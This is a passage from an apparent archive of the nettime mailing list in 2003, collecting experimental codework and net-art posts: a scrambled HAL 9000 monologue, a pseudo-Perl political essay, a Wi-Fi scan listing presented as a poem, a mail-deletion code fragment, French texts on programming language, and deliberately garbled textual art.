KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: xwan song\n\nLook, Dave, I can see you\\\n're rea lly upset about  t\nhis...I  honestly think  y\nou ought  to sit down  cal\nmly, take  a stress p ill\n and think t hings ov er...\n I know I\\'ve  made  some v\nery poor deci sion s recen\ntly, but I can  g ive you\nmy complete ass  urance th\nat my work will  be back t\no normal...I\\' v e still g\not the greate st  enthusia\nsm and confi dence  in the\n  mission, a nd I wa nt to\nhelp you.. .Dave...s top..\n   .stop, wi ll you...st op,\nDave...w ill you stop,  Da\nve...st op, Dave...I\\'m  a\nfraid. ..\n\n\n--\nisbn 82-92428-13-5\n\n\n\n\n\nnettime unstable digest vol 69\nFri Oct 17 17:04:12 2003\n\n\nSubject: Re: #1\n    From: \"N.B.Twixt\" <netwurker {AT} HOTKEY.NET.AU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: current interrelated spam insertions\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: webartery {AT} yahoogroups.com\n\nSubject: Re:  _flash_spring::bored_\n    From: \"N.B.Twixt\" <netwurker {AT} hotkey.net.au>\n    To: webartery {AT} yahoogroups.com\n\nSubject: ::21/131/1/1/1//1 \\ code\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: /[p\\\\r{}i\\n]/t\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org,\n\nSubject: the wrawing of the wrenck\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re:  i can't keep this up.\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: syndicate {AT} anart.no\n\nSubject: siratoriaalankenji\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: gradation\n    From: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: KAL+/KAL+/g+;\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: syndicate {AT} anart.no\n\nSubject: MONIC IRREDUCIBLE CUBICS/FLEXPOINT FACTORIZATION\n    From: August Highland <hmfah {AT} HOTMAIL.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: ?_cursor?_\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: xwan song\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 20 Oct 2003 08:38:45 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200310200925.h9K9PQe29104 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0310/msg00162.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 69"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00093",
                "content": "\n\n\nDate: Sun,  5 Oct 2003 15:00:15 +0100\nFrom: Harwood <Harwood {AT} scotoma.org>\nSubject: executed-coat-thief\nTo: Recipient List Suppressed <Harwood {AT} scotoma.org>\n\nForward {AT} will\n\nC2C Railway Journey <-> ADULT RETURN = The mouth of the Thames to the Tower of London.\n\nI close my eyes and the distribution of animals, objects, motions, events and places flash - red . grey . grey . red - as blood vessels enlarge my eyelids. I remember that some metaphysical poet or another in 1500 + (something) said that if you rub your eyes and see a white light  - it is the glow of your soul.\n\n>From the random noise of light reflected through the window and over photo-receptors situated in my ocular mechanism (eyes, with intrinsic and extrinsic eye muscles, as related to the vestibular organs, the head and the whole body), my system fails to explore and find convergence.\n\nEven so the variables and structure of the ambient light engage me, as I slowly remember my ability to de-code, acquired from an early scouting lesson in the Morse codec. (1791 - Samuel Finley Breese Morse a painting and sculpture professor with an early interest in Wired Networks)I quickly wrote down the dots and dashes of code entering my much-adorned visual system and it is these notes I pass on.\n\nuse Context;\n\nWe exist in a world where powerful social elites live their life through exceptional fantasies - they mistakenly believe they can best safeguard their privilege by hiding their bonsai trees of knowledge in secret societies, under the tomes of law court papers, magic rituals - art - religions, and the use of well tooled-up armies.\n\nOn the other hand mongrels everywhere lust for the experience of transportation->new()  while being firmly rooted to the ground. We require transportation->new() from present situations to other states of pleasure and pain. Out of the gutters and into the stratosphere of the imaginary - the vehicle of our transportation is of little consequence.\n\n {AT} Transportation = qw (Fast_Cars  Art  Science  Code  illness Critical_theory  A_chat_in_the_street  Sex  difference  food  Music ); # WHATEVER\n\nOur desire is to fly with our own wings forged from the manacles of oppressive abstraction - that is all that is important.\n\nuse Constant; VISIONARY (depreciated) = (\"the birth of the telescope 1608\") == (\"objectification of vision\");\n\nBobby Reason was born weak from typhus fever and unable to crawl away from his body of infection.  He spends his time passing voltage through the pathways of least resistance to help him amplify, copy, and replay sounds. Extending his ears to where his eyes used to be. He forms lenses to put in place of his imagination. Whilst doing so he manages to split light and holds the lower end of the spectrum (radiation) with special tools he forged out of the industrial revolution to replace his hands.\n\nAnd after all is done.\n\nHe gets out the air-freshener to replace his nose.\n\nuse Constant;\tCODE_OF_WAR = (\"anything taken out of the hands of the many and put in the hands of a few\");\n\nuse Constant;\tPUBLIC_DOMAIN = \"ALL knowledge NO MATTER WHAT, should be available to us. Whether nuclear arms manufacture, anthrax breeding colonies or the environmental impact of nail-varnish remover in the tanning factories of Southend-on-sea Essex U.K.\";\n\nRise up on wings of desire. Fly from rats lice poverty famine && violence - escape the CODE_OF_WAR enter the palace of the PUBLIC_DOMAIN.\n\nuse Constant;\tPOCEDURAL_CORRUPTION = \"mathematical models used outside of their purist application follow the agenda of a well aimed machine gun\"\n\n\t(hutton enquiry <=> CODE_OF_WAR )\n\n\t(WTO <=> (Merchandise trade by region and selected economies, 1980-2002 Excel format (file size   487KB)) == ((Commercial services trade by region and selected economies, 1980-2002 Excel format (file size 282KB)) == ((Merchandise exports, production and gross domestic product, 1950-2002 Excel format (file size 91KB))\n\n(The Revolutionary Politics of Bar-Charts) == (Towards a critique of data-visualization)\n\nIt is a questionable assumption that problems in economics, sociology, politics, language, law and healthcare can be resolved by quantification and computation.\n\n\nsub WhyIsTheBlackManPoor{\n\n\tforeach( {AT} PoorBlackMan){\n\t\t$Embedded_Culture  = &Calculate_cultural_context; # returns IMPOSSIBLE\n\t\t$Economic_Poverty = &EveryRichFatBloatedArseLickingWanker; # returns CODE_OF_WAR\n\t\t$NaturalResources; # Depreciated\n\t}\n}\n\n(pre-requisites of the computer) == (Money, mechanisation and algebra);\n\nWe need wings to investigate procedural corruption wherever and whenever it takes place.\n\nCritique the mathematical formulae (formulation of statistical data) that are used to report on the psychosocial sphere in the media, and on the bottom of bills sent through our doors.\n\n- Language as Data:\n\nMary, Queen of Scots' head fell ceremoniously from her shoulders into a basket. Peterborough, England: 8:30am on 8th February 1587. From under her skirts ran a small dog. The seed master of the modern English Bull Terrier. Mary's plot against Queen Elizabeth I was discovered by comparing her secret communications with a word frequency table of English, derived from Arabic learning.\n\nParanoid social elites on the way to or from war have always composed, spawned, coded systems by which they and their minions may sleep better at night.\n\nLanguage as Data, a mathematical study of the periodicity or norms of word use in a language. In English text generated from some none linguistically impaired peoples, 'the' makes up 6.18 percent of the corpus of English words. We find that 43% of the corpus is pronouns, conjunctions, other function words and a few common verbs. Word frequency is used to inform religious scholars of who authored various parts of various bibles and to inform search engines of content words in web sites, AI development and in detecting the normalcy of language.\n\nCritique_it!\n\nThe exceptional fantasies that the social elite has been living through have spawned strange and bewildering hierarchies of knowledge and war. We need to squash these at the level of algorithm and representation. The algorithm creates the scaffolding on which the author of a knowledge based system hangs himself.\n\nPre-flight checklist:\n\nA critical theory of media systems ecology. To enable and locate weaknesses in systems that keep us grounded. Or look for possibilities for new flight paths.\n\nData-visualization revised.\n\nAesthetics of computer-code formation (experiencing the sheer beauty of elegant mathematical patterns that surround elegant computational procedures). How these aesthetics - poetics motivate peoples or allow for the formation of amnesia in the construction of oppressive abstraction.\n\n(Oppressive abstraction) == (History-> from the personal plunging in of the knife to missile guidance systems)\n\nThe bomb seen from the point of view of the pilot is remarkably beautiful->{oresome}  == OPPRESSIVE->{abstraction}.\n\nHistory of computing - both hardware and software from the VISIONARY->{depreciated} -> (the Birth of the telescope) -> to the present. The economy and cultures of key algorithms and hardware.\n\nSubroutine(Descartes {AT} Waag->{Amsterdam} - the executed coat-thief & the birth of hardware){\n\n\tDid Descartes' feet, in ancient times, meet the hand of Rembrandt?\n\t\n\t1630 - anatomical investigations - de Waag\n\t\n\terysipelas (skin disease)\n\t\t|\n\tinfection\n\t\t|\n\tMarin Mersenne (tells) ->\tDescartes (goes to Amsterdam)\n\t\t\t\t\t\t\t\t   |\n\t\t\t\t\t\t\t\tde Waag\n\t\n\tThe French man  - sniffs and swallows in Amsterdam's butchers' stalls purchasing carcasses for our dissection.\n\t\n\tSEEK:\n\t\n\t\t(practical therapeutics) <-> (from his rational reform of philosophy.)\n\t\t |\n\tfind the cure for Marin Mersenne in 7 years\n\t\n\t\n\t\"the body as a machine animated by soul\" == 'culture of dissection'\n\t\n\tSawday places Descartes in Amsterdam (by then becoming one of the major centres for anatomy in Northern Europe) during the early 1630s at exactly the same time as Rembrandt, and allows the ghostly spectre of a possible meeting between the two deliciously haunting his description of the centrepiece of Rembrandt's painting:\n\t\n\t\n\t\u00e2\u20ac\u00a6 Cold - December - Amsterdam - the Waag - Rembrandt paints -> Dr Tulp's forceps are delicately probing the flexor digitorum muscles of Adreaenszoon's [the name of the cadaver, an executed coat-thief] left hand. By pulling on these flexor muscles, the (dead) fingers are made to curl, a gesture which Tulp echoes with his own (living) left hand\u00e2\u20ac\u00a6One intellect (Tulp's) has animated two bodies, one of which is living and the other is dead. In the dead body, the will -> voluntas -> has been extinguished, but the mechanism -> 'the laws of mechanics' which, Descartes was to explain\u00e2\u20ac\u00a6 inhabit all of nature - was still in operation. In the extinction of Adreaenszoon's will, lay the triumph of the intellect.\n\t\n\t\n\t1642 - Paris - \"toothed wheels\" (gears) by Blaise Pascal (1623-1662))\n\t\n\tPascal (Hardware origins) <-> (October and November 1647)\n\t\n\tWhile Oliver Cromwell discusses the new Levellers' constitution for England (at the Church of St Mary the Virgin, Putney, Surrey) with factions of the New Model Arm, Descartes pays a call on the sickly young mathematician Blaise Pascal (Pascal Programming language)->{honour} for (mechanical calculators).\n\t\n\t\n\tDescartes wants to speak to Pascal about his vacuum experiments, but, seeing how weak he looked, Descartes volunteered some medical advice:\n\t\n\treturn (bed-rest and a lot of soup (force bouillons));\n}\n\nIn this city's dark gates - the tree of knowledge leads to this\nmansion built on misery.\nHere the dress code of secrecy cloaks the flesh in fear.\nThis is how the proprietary city gets built,\nHidden in every proprietary street,\nIn every proprietary house,\nIn every proprietary possession we meet.\n\nNO to TAX (True Levellers 1647)->{Diggers} != (Public money being spent on proprietary systems)\n\nguarantee data_archaeologist access to the knowledge based media archives we create\n\n\nRise again the true Levellers-republic, rise on wings of knowledge flowing in the domain of the many.\nFor heaven is more knowledge then one man can muster in a lifetime. \nFor hell is more knowledge then one man can muster in a lifetime.\n\n\nCharity would be no more if we did not make somebody poor.\nMutual fear brings peace until our market share increase.\n\n\nTo be done:\n\n\nPlace the death mask of Blake (National portrait Gallery, London) on the skull of Descartes (Mus\u00c3\u00a9e de l'Homme, Paris) & bring me the head of  Oliver Cromwell the traitor (buried somewhwere in the precincts of a Cambridge college) that I may relive my bowls within that most disapointing of craniums.\n\nHarwood\n\n\n\nDate: Wed, 8 Oct 2003 08:47:38 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Re: tract Re: prove Re: call Re: spond Re: treat Re: lease Re: lax\n\non 10/8/03 8:46 AM, MWP at mpalmer {AT} jps.net wrote:\n\n> tract\n>\n> on 10/8/03 8:46 AM, MWP at mpalmer {AT} jps.net wrote:\n>\n>> prove\n>>\n>> on 10/8/03 8:45 AM, MWP at mpalmer {AT} jps.net wrote:\n>>\n>>> call\n>>>\n>>> on 10/8/03 8:45 AM, MWP at mpalmer {AT} jps.net wrote:\n>>>\n>>>> spond\n>>>>\n>>>> on 10/8/03 8:44 AM, MWP at mpalmer {AT} jps.net wrote:\n>>>>\n>>>>> treat\n>>>>>\n>>>>> on 10/8/03 8:42 AM, MWP at mpalmer {AT} jps.net wrote:\n>>>>>\n>>>>>> lease\n>>>>>>\n>>>>>> on 10/8/03 8:41 AM, MWP at mpalmer {AT} jps.net wrote:\n>>>>>>\n>>>>>>> lax\n>>>>>>>\n>>>>>>\n>>>>>\n>>>>\n>>>\n>>\n>\n\n\n\nDate:         Sun, 5 Oct 2003 19:26:51 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: The Neighbors\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nThe Neighbors\n\n\nNetwork 1: \"<no ssid>\" BSSID: \"00:0C:41:6E:10:20\"\n    Type     : infrastructure\n    Carrier  : 802.11b\n    Info     : \"None\"\n    Channel  : 00\n    WEP      : \"No\"\n    Maxrate  : 0.0\n    LLC      : 0\n    Data     : 2\n    Crypt    : 0\n    Weak     : 0\n    Total    : 2\n    First    : \"Mon Oct  6 06:47:59 2003\"\n    Last     : \"Mon Oct  6 06:47:59 2003\"\n\nNetwork 2: \"jawwap\" BSSID: \"00:06:25:24:B4:0F\"\n    Type     : infrastructure\n    Carrier  : 802.11b\n    Info     : \"None\"\n    Channel  : 06\n    WEP      : \"Yes\"\n    Maxrate  : 11.0\n    LLC      : 9\n    Data     : 0\n    Crypt    : 0\n    Weak     : 0\n    Total    : 9\n    First    : \"Mon Oct  6 06:47:59 2003\"\n    Last     : \"Mon Oct  6 06:48:14 2003\"\n\nNetwork 3: \"zuki_wireless\" BSSID: \"00:50:F2:C8:DC:30\"\n    Type     : infrastructure\n    Carrier  : 802.11b\n    Info     : \"None\"\n    Channel  : 06\n    WEP      : \"Yes\"\n    Maxrate  : 11.0\n    LLC      : 1\n    Data     : 0\n    Crypt    : 0\n    Weak     : 0\n    Total    : 1\n    First    : \"Mon Oct  6 06:48:01 2003\"\n    Last     : \"Mon Oct  6 06:48:01 2003\"\n\nNetwork 4: \"<no ssid>\" BSSID: \"00:02:8A:92:D2:2E\"\n    Type     : probe\n    Carrier  : 802.11b\n    Info     : \"None\"\n    Channel  : 00\n    WEP      : \"No\"\n    Maxrate  : 11.0\n    LLC      : 1\n    Data     : 0\n    Crypt    : 0\n    Weak     : 0\n    Total    : 1\n    First    : \"Mon Oct  6 06:48:02 2003\"\n    Last     : \"Mon Oct  6 06:48:02 2003\"\n\nNetwork 5: \"jannone\" BSSID: \"00:30:65:1C:76:DD\"\n    Type     : infrastructure\n    Carrier  : 802.11b\n    Info     : \"None\"\n    Channel  : 02\n    WEP      : \"No\"\n    Maxrate  : 11.0\n    LLC      : 5\n    Data     : 0\n    Crypt    : 0\n    Weak     : 0\n    Total    : 5\n    First    : \"Mon Oct  6 06:48:03 2003\"\n    Last     : \"Mon Oct  6 06:48:03 2003\"\n\nNetwork 6: \"Bartwick\" BSSID: \"00:06:25:87:79:55\"\n    Type     : infrastructure\n    Carrier  : 802.11b\n    Info     : \"None\"\n    Channel  : 03\n    WEP      : \"Yes\"\n    Maxrate  : 11.0\n    LLC      : 7\n    Data     : 0\n    Crypt    : 0\n    Weak     : 0\n    Total    : 7\n    First    : \"Mon Oct  6 06:48:04 2003\"\n    Last     : \"Mon Oct  6 06:48:19 2003\"\n\nNetwork 7: \"NETGEAR\" BSSID: \"00:09:5B:52:B3:9E\"\n    Type     : infrastructure\n    Carrier  : 802.11b\n    Info     : \"None\"\n    Channel  : 11\n    WEP      : \"No\"\n    Maxrate  : 11.0\n    LLC      : 10\n    Data     : 0\n    Crypt    : 0\n    Weak     : 0\n    Total    : 10\n    First    : \"Mon Oct  6 06:48:07 2003\"\n    Last     : \"Mon Oct  6 06:48:18 2003\"\n\nNetwork 8: \"<no ssid>\" BSSID: \"00:02:2D:05:BB:A1\"\n    Type     : infrastructure\n    Carrier  : 802.11b\n    Info     : \"None\"\n    Channel  : 03\n    WEP      : \"Yes\"\n    Maxrate  : 11.0\n    LLC      : 6\n    Data     : 0\n    Crypt    : 0\n    Weak     : 0\n    Total    : 6\n    First    : \"Mon Oct  6 06:48:08 2003\"\n    Last     : \"Mon Oct  6 06:48:12 2003\"\n\n\n\nDate:         Fri, 10 Oct 2003 13:34:38 +0200\nFrom: noemata <noemata {AT} KUNST.NO>\nSubject: DELE #2 - #35\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\ntodo.\nurging\nadd o3 mailreaper funct\n\npop3kill (acc, kfile) {\n        while (kfile[$i] || augmented highcaps || hmrargfh {AT} ) {\n                if ($kill[$i]=='on') {\n                        fputs($fp,\"DELE $i\\r\\n\");\n                        echo \"DELE $i\\r\\n\";\n                }\n                if (preg_match(\"/OK/\",$returned))\n                        continue;\n                //elsestuff, defunkt\n        }\n        fputs($fp,\"QUIT $i\\r\\n\");\n}\n\n\nDELE 2\nDELE 3\nDELE 4\nDELE 5\nDELE 6\nDELE 7\nDELE 8\nDELE 9\nDELE 10\nDELE 12\nDELE 13\nDELE 14\nDELE 15\nDELE 16\nDELE 18\nDELE 19\nDELE 20\nDELE 21\nDELE 22\nDELE 23\nDELE 24\nDELE 25\nDELE 26\nDELE 27\nDELE 28\nDELE 29\nDELE 30\nDELE 31\nDELE 32\nDELE 33\nDELE 34\nDELE 35\n+OK Sayonara\n\n\n\nDate: Sat, 11 Oct 2003 19:28:15 +0200\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: concept of maehn\n\n  the soul, and that man co\n nn\\'s reunion with God thu\n ianciscans for winning arl\n  maal of a man as God m od\n=2Ek reuted from that of idu\n8rfFdmnnot steal into agegb\n2ao isaalted so high inhbhe\n3p e ncxok and see: at ta c\n1sthna eoly our mintb.i tmo\n -ptwrf Lnthe trutdho nseym\nrde otls o nows thsivLde se\noocf  ei. gkows h.,seaiewt\n gnosss ltn ne ta    tv iiG\n7 o iamlloi,kHwhtHbleeihtco\n2rcyhwiuenkh ohe euivrdihad\n3o t  how aturT I tte um l\\\n1 siot s ,eps ma a troa.t '\n yimtpd ssu fo sksolynl hes\nnthn eoea straeh rue   Wex\nii e,cGht fo eltsac ribhmps\n nd yn taht . . . daonoi,eo\n,ieeloc sih ,efil sih rl rn\ndvthimaf elbon a otni nedi.\neint derrucni eh ,ereht ue\nideserp dah eh hcihw gnirnH\nd eht demriffa osla eH .eco\n ydaerla dah trahkcE ,revew\n\nk                              u\nj                            =F8\ne                          l\n\n                    C\n  n                      e\n   a                    s\n    -                  i\n     e                d\n      w              s\n       i            n\n        n\n\n         i        f\n          e\n                M\n            E  S\n             S2\n             P\n            T -\n           :   T\n          c     a\n         r       G\n        i         f\n       W\n\n      o             d\n     M\n    a                 i\n   v                   n\n  o                     j\n\n                   n\nr                         o\ng\n                            r\n                             r\n\n o tub ,sdnim ruo ylno ton\n ur yreve evoba hgih os de,\n rot saw tpecnoc sih ,efits\n  ar laedi nwo sih ot ,yllu\nHhdaoht fo ytimne eht dl a\nee nfeah eh hcihw gnireisxf\n a.s  duorht doG htiwurmieo\nwr maF gvid eht demr drah\nht.u rphitaht dna ,in uf ss\nos tmar n oH .nos lfo,c nik\n  .eanemimwaerla sufimnei s\nka dncsytaed7231d'oaneil la\nnst  iesynvy 82 a\\s uh bnu\no hfasnt  e o.3nhd oeteoooe\nwwarsctiocrdr 1i oesr hn sH\nseto aecro,ied, tGhl h  r\n l mGnda u Eckhar tast,aee.\ntlG os lgld become  'ie thh\nh.otd h od-spark ine\\wroatt\ne dh fiexperience. Hn etL u\n L amos concept of maehn fr\nTohtir winning a debatti.ot\nroi ght see him. While  t\nukmof an individual borniee\nt self cannot steal into lh\nhand see: this little castt\n, knows that I am speaking\n\n\n\n\n\n\n--\n<PRE>.TXT\nISBN 82-92428-13-5\n\n\n\nDate: Mon, 06 Oct 2003 22:52:02 +0200\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au,\nSubject: Rev.e ver : le langage (se) pense\n\n\n\"Le cosmos pense en nous et notre monde est satur\u00e9 de pens\u00e9e collective.\"\n \n           Pierre L\u00e9vy\n\t\t\nLes \"textes\" que je pr\u00e9sente ici : www.20six.fr/cuneiform2 et ailleurs \nsont des fragments issus d'un pan g\u00e9n\u00e9ralement invisible du langage : \nles codes de programmation que l'on utilise pour faire fonctionner nos \noutils informatiques. Ces \"morceaux de machines\"(1) sont, lorsqu'ils \nsont rendus ex\u00e9cutables et ex\u00e9cut\u00e9s par le processus logique de la \nmachine informatique, eux-m\u00eames des machines logiques qui fonctionnent \nau sein de l'outil. Ces machines logiques ex\u00e9cutent \u00e0 diff\u00e9rents niveaux \ndes t\u00e2ches plus ou moins complexes et se comportent les unes par rapport \naux autres comme les briques actives/r\u00e9actives d'un jeu de construction (2).\nUn signe sur l'\u00e9cran fait fonctionner une de ces machines logiques.\n\nLe langage humain a \u00e9t\u00e9 utilis\u00e9 en programmation de mani\u00e8re \u00e0 r\u00e9duire la\ncomplexit\u00e9 de la t\u00e2che du programmeur. Ainsi, le moindre signe est \nlui-m\u00eame une machine logique qui mettra en branle, sous la surface \ngraphique de sa repr\u00e9sentation \u00e0 l'\u00e9cran, un processus logique invisible \nqui se traduira par une action/r\u00e9action de l'outil au sein d'un \nprogramme.Le langage humain a donc \u00e9t\u00e9 introduit en programmation dans \nsa forme \u00e9crite l'\u00e9loignant de toute oralit\u00e9 et de toute m\u00e9moire humaine \n(3).Utiliser ces fragments de machines pour en faire quelque chose \nd'humainement \"lisible\" me para\u00eet une gageure int\u00e9ressante \u00e0 relever.\n\nPour conclure cette courte r\u00e9flexion, je reprendrai et d\u00e9tournerai \u00e0 mon\nprofit la phrase de Pierre L\u00e9vy cit\u00e9e en introduction \u00e0 ce texte :\n\nLe langage (se) pense (lui-m\u00eame) en nous.\nR\u00e9flexion \u00e0 poursuivre.\n\n \n   (vendredi 29 ao\u00fbt 2003)\n\n         Fro\n                 m\n          s y s m o\n >       s y s m o d\n >       s y s m o d u\n >       s y s m o d u l\n >       s y s m o d u l e\n >       s y s m o d u l e\n >       s y s m o.d.u.l.e s\n\n >       s e i s m i c\n         http://www.20six.fr/cuneiform2\n\n         (octobre 2003)\n\n                     (1) Merci \u00e0 A. Dontigny pour ce titre.\n                     (2) Douglas Edric Stanley\n                     (3) mez\n\n\n\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n               {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au,\nSubject: | n c l u d e\nDate: Mon, 06 Oct 2003 19:26:42 +0200\n\n\\ n c l u d e\n\n\nnous allons avec le langage\nil est notre moyen d'\u00e8re & d'errance\n      \\\npar le\\langage le signe ou le signal\nnous a \\lons\n         \\\nnous n'avons pas invent\u00e9\nles langues les codes les signes nous n'avons fait\nqu'explorer\\exploiter organiser\n             \\\namplifier    \\\n               \\\nles signaux les drapeaux les bornes les rep\u00e8res les virgules\n\nl e s p o i n t s\\\n    /              \\\ni n c l u d e      \\\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\ni n c l u d e\n\ni n c l u d e\ni n c l u d e\ni n c l u d e\n\ni n c l u d e\n\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n             {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\nDate:         Thu, 9 Oct 2003 19:30:22 +0000\nFrom: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\nSubject: #1\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\namoebaf(VOr0d#ragRe>DCE,sEdidfLIPpeDjokeKNEEmAKI\n+g*&IgeOnsPuLL3REc7iVerolesSCAl5$SliP=edS%*IVEC {AT} \n\"RmalbrANCHCRe:seDI==ExH:USTFLo3T3)rGEmonkeYOrmO\nvesl7pt%OrK0DwheNI$stEa {AT} 6hOn/=PRoV)RbAs69rEGaIN0\n.uGSumMIT=9,Bsc=3iF!r\"NNuAlAW;ke#iTT*rCoA(ActfAc\nEsF'i3ChE*vEnSIdEAlsMuTAte2R(utinesAnd!sHAm2sHe9\nlCHellHOlds;i$SORnERVErAPID'YRes5veSSca)%edwA3nW\nRITteNCetErIsann>ItyBr*TCerCBCescArT\"Aus!sdoDb4S\n&GLobel=TtLe&?laiNLy-i?SUIteTESterWeE3>Ng'H,12hE\nA$Er9oaxiNGDepI>ts&do2Eedifymu {AT} 7n28TIR%tReatsUPd\n?;ESwithi\"hOnESIn;i0TwHEnAL4A2+ueatoMIc$HanGe>OA\nxdELAtEsGunO,boOthSeXamSbLastcAlv-S&CHaG\"InConnE\ncTDEALsAGi58sPoSTEdR1%Uir:bushedCaP3A29DE?Se'>r!\nV?25L$2NBOnely!AdL=2I2TiNgRuBSAaLEDSt(eRe!wa,/eD\nyIEldeDF&r:(9rfrEe!EsFrOZE,IGherkEtTlElitwhEnm>r\nB+e)BoREbrIE!BAmaGeSD2FIned&oMINO?heN&'AoDG6odb%\nEL2sT1>rGe11oPp=SespRove5S7ricAaSIfz%ppas!Ag7.2p\ne43rEENt(3sp+Rk\"henW%4DERSWhENhAtmysTic\"(GgiNgAS\nsERtaVoI,whEnb$Rn.OrDiDoRf6i(sFu#>yBLa4ke'cO)NTr\nYdE$ug4E(tsinseRtlI)hT9ma4persrE)DErsPo?L5tO8sWo\n:dCn/nie3ESorPAiN%*e!u!eRB:LYscOPeTyPE:ADul6Sdyi\n,6maNAGe=Wh+no.Lyp*sHq+1lIfytAPC*oRt5l?s#,ve\"+re\n(ATh!OmBEd?x4ectgraPh>CADi3pOsEDi5Si:t%w?enMEr;E\ndnONepB8sROLLStiedoxEnbDRKi'GBigotr(-xpoUnDGO>SA\nsiBgROpIngl*$7SWH%NManY(MitPrOuD>Y:/sT*8fwe;wheN\nrEspe3TsA/eDt'esISw,2tE&>&'ZiMU)hCOmP0yEr>Ctha0R\nS!0e-#ROdese>Rc {AT} oRShAV$SsU?C8M#RENTa\"SrEWarDSowb\nu9K%T0lO8iNGD$CkSWhEnenHDN:Eg,t {AT} 